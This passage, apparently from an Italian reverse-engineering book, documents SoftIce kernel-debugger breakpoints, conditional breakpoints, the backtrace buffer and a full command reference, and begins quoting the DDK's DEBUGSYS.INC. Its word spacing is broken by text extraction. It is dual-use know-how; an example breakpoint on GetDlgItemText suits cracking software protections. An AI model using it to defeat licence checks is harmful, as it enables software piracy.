Ri assumendo quant o abbi amo det t o sui br eakpoi nt s possi amo r aggr uppar l i i n :

Breakpoints in esecuzione: SI sostituisce un istruzione esistente con INT 3.
Bisogna utilizzare il comando BPX per settare questo tipo di BP.

Breakpoints di memoria: SI utiulizza i registri del x86 di debug per
interrompere quando alcuni byte/word/dword di memoria vengono lette, scritte
o eseguite. Il comando BMP viene usato per questo scopo.

Breakpoints su interrupts: SI intercetta gli interrupts modificando la IDT
(Interrupt Descriptor Table). Viene usato BPINT per settare questo tipo di
BP.

Breakpoints di I/O: SI utilizza delle estensioni del Pentium/Pentium Pro
presenti in registri per attendere le istruzioni di IN e OUT su porte. Il
comando per creare il BP BPIO.

Breakpoints su messaggi di Windows: SI intercetta i messaggi di Windows. La
creazione avviene con BMSG.

Gr azi e al comando DO possi bi l e cr ear e del l e seuqenze di comandi di SI che
vengono esegui t i quando i l BP vi ene at t i vat o.
Nel l a speci f i ca DO possono esser e i nser i t i t ut t i i comandi di SI .
Ad esempi o:

BPX EIP DO dd eax
BPX EIP DO data 1;dd eax
BPMB dataaddr if (byte(*dataaddr)==1) do ? IRQL

I br eakpoi nt s possono esser e anche condi zi onal i gr azi e aql l a seguent e si nt assi :

BREAKPOINT_COMMAND [options] [IF conditional expression] [DO commands]

SI possi ede i l comando THREAD che most r a i t hr eads at t i vi .
Gr azi e ai comandi r el at i vi ai br eakpoi nt s condi zi onal i possi bi l e at t ender e
l at t i vazi one di un t hr ead o l a sua di sat t i vazi one.

Bpx ntoskrnl!SwapContext IF (edi==0xFF8B4020)
Bpx ntoskrnl!SwapContext IF (esi==0xFF8B4020)

Esi st ono al cuni car at t er i che per met t ono di speci f i car e val or i di nami ci dent r o
agl i st at ement dei br eakpoi nt .
Si t r at t a del car at t er e under scor e _ i l qual e per met t e di veder e i l val or e
di nami co di un ogget t o.
Ad esempi o :

bpx eip IF (eax == _eax)

l equi val ent e di :
Pagina 367 di 991

? eax
00000012 ; ATTENZIONE CHE QUESTO E IL VALORE STAMPATO DAL COMANDO ?
bpx eip IF (eax == 12)

I n pr at i ca set t a un br eakpoi nt condi zi onal e che vi ene at t i vat o se i l val or e
di nami co di eax ugual e al suo cor r ent e val or e.
Un al t r o esempi o:

bpint 2E if (process == _process)

o ancor a :

bpx eip IF (tid == _tid)

che sar ebbe equi val ent e a :

? tid
8 ; ATTENZIONE CHE QUESTO E IL VALORE STAMPATO DAL COMANDO ?
bpx eip if (tid == 8)

Nei pr i mi capi t ol i abbi amo par l at o di concet t i l egat i al l o st ack anche se i
comandi di vi sual i zzazi one di SI non sono sol t ant o dest i nat i al l a
vi sual i zzazi one di quest a.
Spesso si i nser i scono br eakpoi nt s i n cor r i spondenza di chi amat e a f unzi oni
dur ant e l e qual i i mpor t ant e t ener e sot t o cont r ol l o i val or i del l o st ack o di
cer t i dat i par t i col ar i i n zone di memor i a di cui si conosce l i ndi r i zzo oppur e
casi i n cui quest o memor i zzat o dent r o a r egi st r i .
I var i comandi DW, DB ecc. possono r i cever e come ar goment i anche i nomi dei
r egi st r i .

DB ESP+04
DW EBP

Una car at t er i st i ca di Sof t I ce quel l a l egat a al l a possi bi l i t di ut i l i zzar e i l
buf f er di backt r ace.
SI pu i nser i r e l e i st r uzi oni i n un buf f er di backt r ace e vi sual i zzar l e a
segui t o di un cer t o avveni ment o.
Ad esempi o pot r ebbe vi sual i zzar e l e i st r uzi oni a segui t o di un bug anche se a
noi i net r essano al t r e casi st i che.
Le i nf or mazi oni sul l e i st r uzi oni vengono col l ezi onat e a segui t o di accessi i n un
r ange speci f i co di memor i a.
Quest o r ange pu esser e da 1 byt e a 1 Mbyt e.
I l sal vat aggi o del l e i st r uzi oni non avvi ene aut omat i cament e i n quant o f ar l o
r al l ent er ebbe not evol ment e i l si st ema.
Per pot er ut i l i zzar e quest a possi bi l i t bi sogna i nanzi t ut t o al l ocar e un buf f er
per pot er ci sal var e l e i st r uzi oni .
Gener al ment e un buf f er di backt r ace di 10 Kbyt es vi ene al l ocat o di def aul t s.
I l passo successi vo quel l o di abi l i t ar e quest o buf f er cr eando un br eakpoi nt
l egat o ad un r ange di memor i a ut i l i zzando i l VERB T o TW.
Ad esempi o :

BPR 1000:0 2000:0 T

Come avevo gi accennat o i VERB T e TWnon causano l i nt er r uzi one del pr ogr amma
ma sempl i cement e i nser i scono l e i st r uzi oni nel buf f er di backt r ace.
Dopo aver i nser i t o aqnche gl i al t r i br eakpoi nt s necessar i o usci r e da SI con i l
comando X.
Al pr i mo br eakpoi nt SI ver r vi sual i zzat o e qui ndi pot r emo r i chi eder e l a
vi sual i zzazi one del l e i st r uzi oni i nser i t e nel buf f er con i l comando

Pagina 368 di 991
SHOW n-istruzioni

Dove n- i st r uzi oni chi r ament e i l numer o di l i nee di i st r uzi one che si desi der a
vi sual i zzar e.
Per r i esegui r e una ser i e di i st r uzi oni bi sogna pr i ma ent r ar e nel modo di t r ace
con :

TRACE n-istruzioni

Dopo esser e ent r at i nel modo di t r ace con i l pr ecedent e comando possi bi l e
r i esegui r e l e i st r uzi oni t r ami t e i comandi :

XT, XP o XG.

La par t enza avvi ene dal l i st r uzi one speci f i cat a dal comando t r ace.
Se casual ment e st at o speci f i cat o i l comando TRACE 50 i comandi pr ecedent i
par t ono dal l a 50 i st r uzi one.
Per t er mi nar e i l modo di t r ace suf f i cent e ut i l i zzar e l a speci f i ca OFF del
comando.
Dur ant e quest a f ase quasi t ut t e l e i st r uzi oni di SI f unzi onano nor mal ment e.
I comandi di mani pol azi one dei br eakpoi nt s non necessi t ano di spi egazi oni
par t i col ar i .
I br eapoi nt s compai ono i n una l i st a che vi ene most r at a medi ant e i l comando BL.
La cancel l azi one avvi ene con BC ( BREAKPOI NT CLEAR) segui t o dal numer o del BP
oppur e dal car at t er e j ol l y * se si vogl i ono cancel l r e t ut t i .
La di sabi l i t azi one t empor anea avvi ene con BD ment r e l a r i abi l i t azi one con BE.
Di cevo pr i ma che SI di spone di un l oader che per of f r e pot enzi al i t nel caso i n
cui si esegua i l debug di pr ogr ammi con i sor gent i .
SI , essendo at t i vabi l e con l a pr essi one di CTRL- D ( o quel l i che si sono
set t at i ) , pu esser e at t i vat o i n qual si asi i st ant e.
Avevo accennat o pr i ma che l a met odol ogi a di scr i t t ur a degl i i nt er r upt per met t e
di espander e l e f unzi oni di Sof t I ce.
Quando avevamo par l at o di I nt er r upt s avevamo det t o che a par t i r e dal l i ndi r i zzo
0 c er ano 1024 byt es ( 256 * 4) dest i nat i a mant ener e memor i zzat i gl i i ndi r i zzi
dei 256 possi bi l i i nt er r upt s.
Sof t I ce possi ede un i st r uzi one che per met t e di assembl ar e i st r uzi oni i n
assembl er .
Se a quest o punt o scr i vessi mo una qual che f unzi one i n assembl er con l a
met odol ogi a di scr i t t ur a degl i i nt er r upt s e i nser i ssi mo i l suo i ndi r i zzo dent r o
al l a t abel l a dei vet t or i d i nt er r uzi one assegnandogl i i l numer o 99, per esempi o,
avr emo poi l a possi bi l i t di r i chi amar l a medi ant e i l comando di gener azi one
i nt er r upt di SI .
Quest e f unzi oni scr i t t e i n SI pot r ebber o i nol t r e esser e abbi nat e a qual che
comando come ad esempi o quel l i r el at i vi ai br eakpoi nt s.
Supponi amo di vol er esegui r e una ser i e di cont r ol l i sui val or i dei r egi st r i .
Vedi amo di t r ovar e una zona di memor i a l i ber a e codi f i chi amo i n assembl er l e
l i nee di pr ogr amma nel l e qual i esegui r emo i l cont r ol l o dei r egi st r i .
La f unzi one ver r scr i t t a con l a met odol ogi a degl i i nt er r upt per cui ver r
cont r ol l at o i l pr i mo r egi st r o e se i l val or e non cor r i sponde ver r esegui t o un
sal t o sul l i st r uzi one di r i t or no dal l i nt er r upt I RET se non ver r cont r ol l at o i l
secondo r egi st r o e cos vi a.
I l comando per assembl ar e A segui t o dal l i ndi r i zzo.

A 9000:0

9000:0 CMP AX,3 ; primo registro da controllare
9000:4 JNE 34 ; se non uguale a quello che vogliamo ritorna
9000:10 CMP BX,4 ; secondo registro
9000:14 JNE 34 ; se non uguale a quello che vogliamo ritorna
9000:20 CMP CX,5 ; terzo registro
9000:24 JNE 34 ; se non uguale a quello che vogliamo ritorna
9000:30 INT 3 ; se sei arrivato qui i registri sono OK. BREAK
Pagina 369 di 991
9000:34 IRET ; ritorna

A quest o punt o set t i amo l a r out i ne come i nt er r upt 99 i l cui i ndi r i zzo a 99*4.
Adesso ci i nt er essa f ar e i n modo che ad ogni i st r uzi one del nost r o pr ogr amma che
st i amo debuggando venga chi amat a l a r out i ne appena scr i t t a.
La f unzi one di br eakpoi nt che vi ene chi amat a ad ogni accesso al l a memor i a
t r ami t e l a speci f i ca DO pu r i chi amar e l i nt er r upt ed quel l o che i nt er essa a
noi .
Pr i ma i nst al l i amo l a nost r a f unzi one :

ED 99*4 9000

Ol t r e a quest o possi bi l e usar e i l comando I 3HERE per f ar e i n modo che compai a
l a f i nest r a di Sof t I ce quando un i nt 3 vi ene chi amat o.

I3HERE

I n ul t i mi s set t i amo i l br eakpoi nt sul r ange di memor i a i n cui vogl i amo che venga
esegui t o i l cont r ol l o pr evi st o dal l a nost r a r out i ne.

BPR segmento:indirizzo_partenza segmento:indirizzo_fine R DO GINT 99

Come avevamo det o nel capi t ol o r el at i vo al l assembl er l e f unzi oni ut i l i zzano l o
st ack per i l passaggi o dei par amet r i per cui spesso ci si t r ova nel l a necessi t
di de- f er enzi ar e quest i val or i t r ami t e i r egi st r i ESP e EBP.
Qual e usar e di pende dal pr ol ogo del l a f unzi one e da dove vi ene pi azzat o i l
br eakpoi nt i n r el azi one a quest o.
Mol t e f unzi oni a 32 bi t s possi edono i l seguent e pr ol ogo.

PUSH EBP
MOV EBP, ESP
SUB ESP, size(local)

Lo st ack f r ame vi ene set t at o come segue:

Stack Top Param N ESP+(n*4) or EBP+(n*4)+4 Pushed by caller
Param #2 ESP+8 or EBP+C
Param #1 ESP+4 or EBP+8
RET EIP Stack pointer on Entry
Current Base Pointer
EBP (PUSH EBP, MOV EBP, ESP)
Save EBP
LOCALS+SIZE-1 Call prologue
Stack pointer after
prologue (SUB ESP...)
LOCALS+0
Save EBX Optional save of C registers
Save ESI Register saved by compiler
Current
ESP
Stack Bottom Save EDI Stack pointer after registers are saved

I n SI i l r i f er i ment o a r egi st r i come ad esempi o ESP+4 pu esser e esegui t o con

ESP->4

Per cui possi bi l e cr ear e cost r ut t i del t i po :

BPX IsWindow (ESP->4==10022) || (ESP->4==1001E)

Quando segui t e una f unzi one cer cat e sempr e di capi r e che cosa t r at t ano gl i
ar goment i .

COMANDI VISUALIZZAZIONE INFORMAZIONI
Pagina 370 di 991

Come di cevo SI pu esser e at t i vat o i n qual si asi i st ant e gr azi e al l a pr essi one
dei t ast i di at t i vazi one.
Mol t i comandi per met t ono l a vi sual i zzazi one di i nf or mazi oni sui t ask i n
f unzi one.
I l pr i mo comando appunt o TASK che vi sual i zza l e i nf or mazi oni r el at i ve ai TASK
a par t i r e dal nome, al l i ndi r i zzo del segment o di st ack e t ant e al t r e not i zi e.
I nf or mazi oni r el at i ve ai pr ocessi possono esser e est r at t e t r ami t e i l comando
PROC.
A sua vol t a l e i nf or mazi oni r el at i ve ai nomi dei pr ocessi e dei t ask possono
esser e usat e come ar goment i del comando CLASS che a sua vol t a r est i t ui sce
i nf or mazi oni sul l e cl assi .
For nendo l a speci f i ca X al comando CLASS si ot t engono i nf or mazi oni l egat e ad
ogni cl asse compr esi gl i i ndi r i zzi del l a wi ndow pr ocedur e ecc.
I l comando THREAD i nvece f or ni sce i nf or mazi oni sui THREADS at t i vi .
Nel l e ver si oni per WI N98 l a vi sual i zzazi one del codi ce avvi ene most r ando i l
numer o del t hr ead con a f i anco gl i i ndi r i zzi .
Essendo possi bi l e i n SI vi sual i zzar e i n qual si asi i st ant e i l codi ce non det t o
che quel l o vi sual i zzat o si r el at i vo al pr ogr amma vol ut o.
Al cuni br eakpoi nt i nf at t i , se non vi ene speci f i cat o l I D del pr ocesso o qual che
cosa che l o i dent i f i chi , f unzi onano su t ut t i i t ask pr esent i .
Pr endi amo ad esempi o un br eakpoi nt l egat o al l a l et t ur a del t est o di un campo
d edi t , Get Dl gI t emText .
SI most r er l a sua wi ndows at t i vat a dal br eakpoi nt a segui t o di qual si asi
Get Dl gI t emText venga r i chi amat a nel si st ema.
Le f unzi oni r el at i ve al l a vi sual i zzazi one del l e i nf or mazi oni ser voi no appunt o ad
aver e speci f i che l egat e ad ogni pr ocesso i n modo t al e da pot er esegui r e del l e
sel ezi oni con l e successi ve f unzi oni di SI .

VISUALIZZAZIONE DEI SEGMENTI

Tut t i i pr ogr ammi , come abbi amo gi det t o, di spongono di un cer t o numer o di
segment i ut i l i zzat i per var i scopi .
Un segment o si cur ament e i l Code Segment .
I dat i sono i nvece al l ocat i nel Dat a Segment .
I segment o di st ack l o abbi amo gi descr i t t o.
I n ogni caso i var i r egi st r i di segment o ci per met ono di capi r e qual i sono i
segment i i n un cer t o i st ant e del l esecuzi one.
Tr ami t e i l comando MAP32 di Sof t I ce possi bi l e esegui r e una panor ami ca dei
segment i al l ocat i i n un cer t o moment o.
Per ogni pr ogr amma car i cat o vengono most r at i i var i segment i con l e seguent i
i nf or mazi oni :

OWNER OBJ_NAME OBJ# ADDRESS SIZE TYPE
COMEXP .text 0002 014C:00005678 000000FC0 CODE RW
COMEXP .idata 0006 014C:00007890 00000FF00 IDATA RO
Ecc.

La seguent e t abel l a most r a gr an par t e del l e f unzi oni a di sposi zi one di Sof t I ce.
Si t r at t a di una t abel l a da me r edat a t r ami t e l e f unzi oni dei hel p pr esent i
nel l a ver si one 3. 24 per Wi ndows 95.
L ut i l i zzo di al cune t ecni che par t i col ar i e qui ndi di al cune del l e opzi oni qui
r i por t at e ver r t r at t at o pi avant i .


1. BREAKPOINT


BPM, BPMB, BPMW, BPMD
Breakpoint on memory access

BPM[ SI ZE] ADDRESS [ R| W| RW| X] [ DEBUG REGI STER] [ I F EXPRESSI ON} [ DO COMMAND]
Pagina 371 di 991
BPMB, BPMWOR BPMD ADDRESS [ R| W| RW| X] [ DEBUG REGI STER] [ I F EXPRESSI ON} [ DO COMMAND]
Ex: BPM 1234 RW
BPRW
Support conditional breakpoints and actions, and logging breakpoint to
history buffer
BPRWmodul e- name | code sel ect or [ R| W| RW| T| TW] [ I F expr essi on] [ DO act i on]
Ex: BPRWGENERI C
BPR
Breakpoint on memory range
BPR addr ess addr ess [ R| W| RW| T| TW] [ I F EXPRESSI ON] [ DO ACTI ON]
EX: BPR ESI EDI +32 RW
BPIO
Breakpoint on I/O port
BPI O [ h] PORT [ R| W| RW] [ DEBUG REGI STER] [ I F expr essi on] [ DO act i on]
Ex: BPI O 3DA W
BPINT
Breakpoint on interrupt
BPI NT i nt er r upt - number [ I F expr essi on] [ DO act i on]
Ex: BPI NT 50
BPX
Breakpoint on execution
BPX addr ess [ I F expr essi on] [ DO act i on]
Ex: BPX 282F20
BMSG
Breakpoint on Windows message
BMSG hwnd [ L] [ begi n msg [ end msg] ] [ I F expr essi on]
Ex. : BMSG 49AC WM_MOUSEFI RST WM_MOUSELAST
BSTAT
Breakpoint on statistics
BSTAT [ br eakpoi nt #]
Ex. : BSTAT 3
CSIP
Set CS:EIP range qualifier
CSI P [ OFF | [ NOT] addr ess addr ess | [ NOT] modul e name]
Ex. : CSI P NOT CS: 201000 CS: 205FFF

2. MANIPULATING BREAKPOINT

BPE
Edit
BPE br eakpoi nt number
Ex. : BPE 4
BPT
Use as template
BPT br eakpoi nt number
Ex. : BPT 0
BL
List
BL
Ex. : BL
BC
Clear
BC l i st | *
Ex. : BC *
BD
Disable
BD l i st | *
Ex. : BD 1, 2, 3, 4

BE
Enable
BE l i st | *
Pagina 372 di 991
Ex. : BE 1, 2, 3, 4
BH
History
BH
Ex. : BH


3. DISPLAY/CHANGE MEMORY

R
Display/change registers contents
R [ - d | r egi st er name | r egi st er name [ =] val ue]
Ex. : R EZX=50
U
Unassemble instructions
U [ addr ess [ L l enght ] ]
Ex. : U EI P- 10
D, DB, DW, DD, DS, DL, DT
Display memory
D [ addr ess [ L l enght ] ]
Ex. : D B8000
E, EB, EW, ED, ES, EL, ET
Edit memory
E [ addr ess] [ dat a]
Ex. : E 40000
PEEK size, addr
Read from physical address
PEEK [ si ze] addr ess
Ex. : PEEKD A0000000
POKE size addr val
Write into physical address
POKE [ si ze] addr val
Ex. : POKED F8000000 12345678
PAGEIN
Load a page into physical memory
PAGEI N addr ess
Ex. : PAGEI N 401000
H
Help
H [ command]
Ex. : H DW
?
Evalutate expression
? expr essi on
Ex. : ? AX << 1
VER
Version
VER
Ex. : VER
WATCH
Add watch
WATCH addr ess
Ex. : WATCH Var i abl eName
FORMAT
Change format of data window
FORMAT
Ex. : FORMAT

DATA
Change data window
DATA [ wi ndow number ( 0- 3) ]
Ex. : DATA 2
Pagina 373 di 991

4. DISPLAY SYSTEM INFORMATION


GDT
Global description table
GDT [ sel ect or | GDT base addr ess]
Ex. : GDT 28
LDT
Local description table
LDT [ sel ect or | LDT base addr ess]
Ex. : LDT 28
IDT
Interrupts description table
I DT [ i nt er r upt | I DT base addr ess]
Ex. : I DT 28
TSS
Task state
TSS [ TSS sel ect or ]
Ex. : TSS
CPU
CPU register info
CPU [ - i ]
Ex. : CPU
PCI
PCI device info
PCI [ - r aw] [ bus devi ce f unct i on]
Ex. : PCI
MOD
Windows module list
MOD [ par t i al name *]
Ex. : MOD
HEAP
Windows global heap
HEAP [ - l ] [ FREE | mod | sel | 32 [ heap | pr ocess] ]
Ex. : HEAP GDI
LHEAP
Windows local heap
LHEAP [ sel ect or | modul e name]
Ex. : LHEAP DS
VXD
Windows VXD map
VXD [ par t i al name *]
Ex. : VXD VPCI D
TASK
Windows task list
TASK
Ex. : TASK
VCALL
VXD calls
VCALL [ par t i al name *]
Ex. : VCALL VPCI D*
WMSG
Windows messages
WMSG [ par t i al name *] [ WMSG number ]
Ex. : WMSG WM_MOU*
PAGE
Page table info
PAGE [ addr ess | [ L l enght ] ]
Ex. : PAGE DS: 0 L 0
PHYS
All virtual address for physical address
PHYS physi cal addr ess
Pagina 374 di 991
Ex. : PHYS A0000
STACK
Call stack
STACK [ t ask name | t hr ead t ype | SS: EBP]
Ex. : STACK
XFRAME
Active exception frame
XFRAME [ f r ame addr ess]
Ex. : XFRAME EBP
MAPV86
v86 memory map
MAPV86 [ addr ess]
Ex. : MAPV86
HWND
Windows handle informations
HWND [ - x] [ hwnd | [ wi ndow l evel ] [ t ask name] ]
Ex. : HWND pr ogman
CLASS
Windows class informations
CLASS [ - x] [ t ask name]
Ex. : CLASS USER
VM
Virtual machine informations
VM [ - s] [ VM I D]
Ex. : VM 1
THREAD
Thread informations
THREAD [ TCB| I D | t ask name]
Ex. : THREAD
ADDR
Display/change address context
ADDR [ cont ext handl e | t ask | *]
ADDR 80FD602C
MAP32
32 bits section
MAP32 [ modul e handl e | modul e name]
Ex. : MAP32 ker nel 32
PROC
Process informations
PROC [ - xo] [ t ask name]
Ex. : PROC x Expl or er
QUERY
Process virtual address space map
QUERY [ [ - x] addr ess] [ pr ocess t ype]
Ex. : QUERY PROGMAN
WHAT
Identify type of a expression
WHAT expr essi on
Ex. : WHAT syst em
OBJDIR
Information about obj directory
OBJ DI R obj ect - di r ect or y
Ex. : OBJ DI R \ Dr i ver
DEVICE
Information about a device
DEVI CE [ devi ce name | addr ess]
Ex. : DEVI CE HCD0
DRIVER
Information about a driver
DRI VER [ dr i ver name | addr ess]
Ex. : DRI VER ne2000. sys
Pagina 375 di 991
FOBJ
Information about a file obj
FOBJ pf i l e obj ect
Ex. : FOBJ EAX
IRP
Information about a IRP
I RP pi r p
Ex. : I RP eax

5. I/O PORTS COMMANDS

I, IB, IW, ID
Input from I/O
I por t
Ex. : I 3DA
O, OB, OW, OD
Output to I/O
O por t val ue
Ex. O 21 FF

6. FLOW CONTROLS

X
Return to host debugger
X
Ex. : X
G
Go to address
G [ =addr ess] [ addr ess]
Ex. : G 231456
T
Single step one instruction
T [ =addr ess] [ count ]
Ex. : T
P
Step skipping calls, int, etc.
P [ RET]
Ex. : P
HERE
Goto current cursor line
HERE
Ex. HERE
EXIT
Force an exit to Windows
EXI T
Ex. : EXI T
GENINT
Generate int
GENI T [ NMI | I NT1 | I NT3 | i nt - number ]
Ex. : GENI NT 2
HBOOT
System boot (total reset)
HBOOT
Ex. : HBOOT

7. MODE CONTROLS


I1HERE
Direct INT1 to SOFTICE
I 1HERE [ ON | OFF]
Ex. : I 1HERE ON
Pagina 376 di 991
I3HERE
Direct INT3 to SOFTICE
I 3HERE [ ON | OFF]
Ex. : I 3HERE ON
ZAP
Zap embedded INT1 e INT3
ZAP
Ex. : ZAP
FAULTS
Enable/Disable SOFTICE fault trapping
FAULTS [ ON | OFF]
Ex. : FAULTS ON
SET
Change an internal variable
SET [ set var i abl e] [ ON | OFF] [ val ue]
Ex. : SET FAULTS ON

7. CUSTOMIZATION COMMANDS


PAUSE
Control display scroll mode
PAUSE [ ON | OFF]
Ex. : PAUSE ON
ALTKEY
Set key sequence to invoche Windows
ALTKEY [ al t l et t er | cont r ol l l et t er ]
Ex. : ALTKEY ALT D
FKEY
Display/Set F key
FKEY [ f unct i on key st r i ng]
Ex. : FKEY F1 DD; G @ESP
DEX
Display/Assign window data expressions
DEX [ wi ndows number ( 0- 3) ] [ expr essi on]
Ex. : DEX 2 esp
CODE
Display/Instructions in code window
CODE [ ON | OFF]
Ex. : CODE ON
COLOR
Display/Set screen color
COLOR [ nor mal ] [ bol d] [ r ever se] [ hel p] [ l i ne]
Ex. : COLOR 30 3E1F 1E 34
ANSWER
Auto answer with modem
ANSWER [ On [ compor t ] ] [ bauds r at e] [ i =i ni t ] | OFF]
Ex. : ANSWER 1 38400
TABS
Set/Display tab setting
TABS [ 1- 8]
Ex. : TABS 4
LINES x
Set/Display num of lines
LI NES [ 25 | 43 | 50 | 60]
Ex. : LI NES 50
WIDTH x
Set / Di spl ay numof col umns
WI DTH [ 80- 160]
Ex. : WI DTH 80

Pagina 377 di 991
PRN
Set printer out
PRN [ l pt x | comx]
Ex. PRN LPT1
PRINT-SCREEN (KEY)
Send to print
PRI NT- SCREEN
Ex. : PRI NT- SCREEN

MACRO
Macro to execute
MACRO [ macr o name] [ [ *] | [ = macr o body] ]
Ex. : MACRO Oops = i her e of f ; geni nt 3

8. UTILITY


A
Assemble code
A [ addr ess]
Ex. : A CS: 1236
S
Search for data
S [ - cu] addr ess L l enght dat a- st r i ng
Ex. S 0 L f f f f f f Hel p , 0D, 0A
F
Fill memory with data
F addr esas L l enght dat a- st r i ng
Ex. F EBX L 50 ABC
M
Move data
M addr ess L l enght addr ess- 2
Ex. : M 4000 L 80 8000
C
Compare 2 data blocks
C addr ess L l enght addr ess- 2
Ex. : C 400 L 80 EBX

9. WINDOW COMMANDS


WC
Toggle code window
WC [ wi ndow si ze]
Ex. WC 8
WD
Toggle data window
WD [ wi ndow si ze]
Ex. : WD 8
WF
Toggle floating point stack window
WF [ - D] [ B | W| D | F | P | *]
Ex. : WF
WL
Toggle locals window
WL [ wi ndow si ze]
Ex. WL 8
WW
Toggle watch window
WW
Ex. : WW

Pagina 378 di 991
EC
Enable/Disable code window
EC
Ex. : EC
.
Locate current instruction
.
Ex. : .

10. WINDOW CONTROLS


CLS
Clear
CLS
Ex. : CLS
RS
Restore program screen
RS
Ex. : RS
ALTSCR
Change to alternate display
ALTSCR [ MONO | VGA | OFF]
Ex. : ALTSCR OFF
FLASH
Restore screen during P or T command
FLASH [ ON | OFF]
Ex. : FLASH ON

11. SYMBOL/SOURCE COMMANDS


SYM
Display symbols
SYM [ par t i al name* | symbol name]
Ex. : SYM hDC*
SYMLOC
Relocate symbols base
SYMLOC segment | O | R | - C pr ocess t ype | sect i on sel ect or base
Ex. SYMLOC 9D5
EXP
Display export symbols
EXP [ par t i al name*]
Ex. : EXP GLOB*
SRC
Toggle source/mixed
SRC
Ex. : SRC
TABLE n
Sel ect / Remove symbol t abl e
TABLE [ [ R] t abl e- name | AUTOON | AUTOOFF]
Ex. : TABLE t est
FILE
Display/Change current source
FI LE [ f i l e name | *]
Ex. : FI LE *
SS
Search source for string
SS [ l i ne number ] [ sear ch st r i ng ]
Ex. : SS 40 i f ( i ==3)
TYPES type-name
List all types
TYPE [ t ype name]
Pagina 379 di 991
Ex. : TYPE DWORD
LOCALS
Display locals currently in scope
LOCALS
Ex. : LOCALS

12. BACKTRACE


SHOW
Display from backtrace buffer
DSHOW[ st ar t ] [ L l enght ]
Ex. : DSHOW100
TRACE
Enter backtrace simulation mode
TRACE [ B ! OFF | START]
Ex. : TRACE OFF
XT
Step in trace simulation mode
XT [ R]
Ex. : XT
XP
Program step in trace simulation mode
XP
Ex. : XP
XG
Go to address in trace simlation mode
XG [ R] addr ess
Ex. : XG 2000
XRSET
Reset backtrace history
XRSET
Ex. : XRSET


13. SPECIAL OPERATOR


. Pr ecedi ng a deci mal number
$ Pr ecedi ng addr ess speci f i cat i on segment
# Pr ecedi ng sel ect or
@ Pr ecedi ng addr ess i ndi r ect or
? Expr essi on val ut at or

14. NEW

SET SYMBOL on|off If on the disassembler display symbol names

WSTR
Use this operator with the expression valutator
WSTR t ype cast oper at or
Ex. : ? WSTR( eax)


ESTENDERE SOFTICE USANDO I SERVIZI API DI DEBUGGING

Sof t I ce, coma abbi amo vi st o, cost i t ui sce i l pi pot ent e debugger i n ci r col azi one
e combi nat o con un al t r o si st ema come I DA f or ni sce quant o di pi uno dedi cat o
al l a r ever se engi neer i ng pu desi der ar e.
I n ogni caso esi st ono di ver si pacchet t i i n gi r o che per met t ono di espander e
Sof t I ce aggi ungendogl i al t r i comandi nuovi o at t i a modi f i car e quel l i esi st ent i .
Pagina 380 di 991
Per cr ear e l est ensi one che segue dovr emo esser e i n gr ado di cr ear e un nuovo VXD
per cui ci sar necessar i o i l Mi cr osof t DDK ( Devi ce Devel opment Ki t ) e i l MASM
per l a compi l azi one.
Nel l o st esso DDK i nser i t o quant o necessar i o per est ender e l e f unzi oni di
debuggi ng.
Dat e un occhi at a al seguent e f i l e ( DEBUGSYS. I NC f or ni t o con i l DDK) .

i f ndef _DEBUGSYS_H
_DEBUGSYS_H EQU 1
D386_RM_I nt EQU 68H
D386_I d EQU 0F386H
D386_MI N EQU 43H
D386_I dent i f y EQU 43H
D386_Pr epar e_PMode EQU 44H
D386_Real _Mode_I ni t EQU 45H
D386_Set _Swi t ches EQU 46H
D386_Execut e_Cond EQU 47H
D386_Fr ee_Segment EQU 48H
D386_Set _Baudr at e EQU 49H
D386_Rei ni t EQU 4aH
D386_Def _Deb_Segs EQU 4bH
D386_Set _Com_Por t EQU 4cH
D386_Li nk_SymEQU 4dH
D386_Unl i nk_Sym EQU 4eH
D386_Remove_Segs EQU 4f H
D386_Load_Segment EQU 50H
D386_Di spl ay_Char EQU 51H
D386_Di spl ay_St r EQU 52H
D386_I sVxDI nst al l ed EQU 53H
D386_VxDI nst al l EQU 54H
D386_Regi st er Dot Cmd EQU 55H
D386_DeRegi st er Dot Cmd EQU 56H
D386_Pr i nt f EQU 57H
D386_Li nk_Sym_Phys EQU 58H
D386_CheckMap EQU 59H
D386_Set Aut oLoadSymEQU 5aH
D386_Set Tef t i Por t EQU 5bH
D386_ExecDebugCommand EQU 5cH
D386_LoadCodeDat aHi gh EQU 5dH
D386_Set Wi nVer si on EQU 5eH
D386_ScanChar EQU 5f H
D386_UnGet Char EQU 60H
D386_St op EQU 61H
i f def WDEB98
D386_Set _Baudr at e_Ex EQU 62H
D386_Set Bui l dI nf o EQU 63H
D386_Set _Swi t ches_Ex EQU 64H
D386_MAX EQU 64H
el se
D386_MAX EQU 61H
endi f
ST_code_sel EQU 0H
ST_dat a_sel EQU 1H
ST_code_seg EQU 10H
ST_dat a_seg EQU 11H
ST_dual _code EQU 40H
ST_dual _dat a EQU 41H
ST_devi ce_code EQU 80H
ST_devi ce_dat a EQU 81H
D386_Devi ce_Par ams STRUC
DD_l ogi cal _seg DW ?
DD_act ual _sel DW ?
DD_base DD ?
DD_l engt h DD ?
DD_name DF ?
DD_sym_name DF ?
DD_al i as_sel DW ?
D386_Devi ce_Par ams ENDS

WDEB_I NT2F_STARTI NG EQU 0H
WDEB_I NT2F_ENDI NG EQU 1H
WDEB_I NT2F_NESTED_STARTI NG EQU 2H
WDEB_I NT2F_NESTED_ENDI NG EQU 3H
PMI NI T_I NI T_I DT EQU 0H
PMI NI T_I NI T_PAGI NG EQU 1H
PMI NI T_ENABLE_DEBUG_QUERYS EQU 2H
PMI NI T_I NI T_SPARE_PTE EQU 3H
PMI NI T_SET_ENTER_EXI T_VMM EQU 4H
PMI NI T_GET_SI ZE_PHYS EQU 5H
PMI NI T_SET_BASE_SPARE_PTE EQU 6H
PMI NI T_ENABLE_MEMORY_CONTEXT EQU
7H
PMI NI T_MAX EQU 7H
WdebVCPI I nf o STRUC
f nVCPI DF ?
r dsVCPI DW ?
l aVTP DD ?
Por t 67 DW ?
WdebVCPI I nf o ENDS


VTP STRUC
zaCr 3VTP DD ?
l aGdt r VTP DD ?
l aI dt r VTP DD ?
sel Ldt VTP DW ?
sel Tr VTP DW ?
i pVTP DW ?
unusedVTP DW ?
csVTP DW ?
VTP ENDS
VCPI _RM_CALLOUT_I NT EQU 67H
VCPI _PROT_ENTRY EQU 0DE0CH
Debug_Ser v_I nt EQU 41H
DS_Out _Char EQU 0H
DS_I n_Char EQU 1H
DS_Out _St r EQU 2H
DS_I s_Char EQU 3H
DS_Out _St r 16 EQU 12H
DS_For cedGO16 EQU 40H
DS_Li nkMap EQU 45H
DS_Unl i nkMap EQU 46H
DS_CheckMap EQU 47H
